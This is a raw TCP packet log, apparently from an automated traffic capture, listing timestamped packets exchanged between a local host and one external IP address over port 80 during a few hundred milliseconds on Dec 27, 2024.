Dec 27, 2024 09:02:44.299511909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.299551010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.300288916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.300447941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.300461054 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.301224947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.301244020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.301291943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.301964998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.302009106 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.302068949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.302933931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.302973032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.302992105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.303735971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.303788900 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.303848028 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.304610968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.304649115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.304667950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.305464983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.305526972 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.305560112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.306363106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.306428909 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.306489944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.307238102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.307276964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.307281017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.308139086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.308185101 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.308218956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.308954000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.309003115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.309056997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.309812069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.309854984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.309878111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.310683966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.310735941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.310796976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.311610937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.311655998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.311738014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.312421083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.312561989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.312586069 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.313287020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.313335896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.313399076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.314229012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.314276934 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.314357042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.315089941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.315116882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.315143108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.315928936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.315992117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.316014051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.316776037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.316845894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.316889048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.317770004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.317814112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.317814112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.318631887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.318646908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.318681002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.319526911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.319576979 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.319583893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.320251942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.320331097 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.320419073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.321150064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.321197987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.321285009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.321985006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.322036028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.322077036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.322942972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.322998047 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.322999001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.324784994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.324798107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.324810982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.324824095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.324857950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.324892044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.325570107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.325582981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.325634003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.326355934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.326397896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.326464891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.327203989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.327246904 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.327616930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.328210115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.328222036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.328274965 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.328979015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.329025030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.329057932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.329845905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.329899073 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.329957008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.330718994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.330761909 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.330801964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.331582069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.331651926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.331676960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.332443953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.332492113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.332541943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.333302975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.333343983 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.333409071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.334189892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.334252119 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.334316015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.335129023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.335174084 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.335174084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.335942984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.335988045 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.336097956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.336800098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.336854935 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.336919069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.337667942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.337716103 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.337778091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.338553905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.338602066 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.338677883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.339472055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.339519978 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.339550972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.340265989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.340315104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.340390921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.341162920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.341200113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.341228962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.356287956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.356339931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.356523037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.356535912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.356545925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.356576920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.357592106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.357605934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.357645035 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.358319044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.358362913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.500207901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.500266075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.500322104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.500586033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.500726938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.500767946 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.501422882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.501570940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.501622915 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.502300978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.502381086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.502420902 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.503164053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.503278971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.503329992 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.504056931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.504156113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.504198074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.504925966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.505022049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.505059958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.505769014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.505831003 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.505903959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.506639004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.506772041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.506814003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.507502079 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.507607937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.507792950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.508476019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.508498907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.508543015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.509306908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.509341955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.509704113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.510162115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.510293961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.510416985 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.511029959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.511087894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.511177063 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.511909008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.512021065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.512068033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.512723923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.512834072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.513169050 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.513616085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.513700962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.513916016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.514580965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.514719963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.514770031 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.515455008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.515537977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.515872002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.516242981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.516272068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.516374111 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.517153025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.517256021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.517317057 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.518223047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.518239021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.518285990 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.518878937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.518937111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.519064903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.519932032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.519948959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.520013094 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.520631075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.520697117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.520735979 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.521550894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.521575928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.521625996 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.522438049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.522555113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.522605896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.523222923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.524147034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.524163008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.524204016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.524221897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.524262905 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.524971962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.525149107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.525245905 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.525846958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.526520014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.526561022 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.526731968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.526792049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.526838064 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.527570963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.528085947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.528276920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.528446913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.528522968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.528564930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.529525042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.529612064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.529716015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.530287027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.530366898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.530422926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.531302929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.531328917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.531388998 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.531910896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.532018900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.532072067 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.532777071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.532895088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.532933950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.533737898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.533905983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.533987999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.534512997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.534601927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.534681082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.535393000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.535537958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.535590887 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.536272049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.536402941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.536446095 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.537198067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.537230968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.537267923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.538096905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.538111925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.538178921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.538940907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.539012909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.539110899 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.539731979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.539885998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.539940119 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.540626049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.540685892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.540890932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.541564941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.541687012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.541733980 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.542346954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.542421103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.542460918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.556690931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.556720972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.556858063 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.557050943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.557064056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.557111025 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.557991982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.558007002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.558048010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.559360027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.605808020 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.701597929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.701630116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.701715946 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.701947927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.702112913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.702157974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.702830076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.702918053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.703696966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.703742981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.703746080 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.703785896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.704581976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.704684019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.704732895 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.705414057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.705529928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.705579042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.706315041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.706401110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.706449986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.707178116 CET	80	49768	185.215.113.16	192.168.2.11
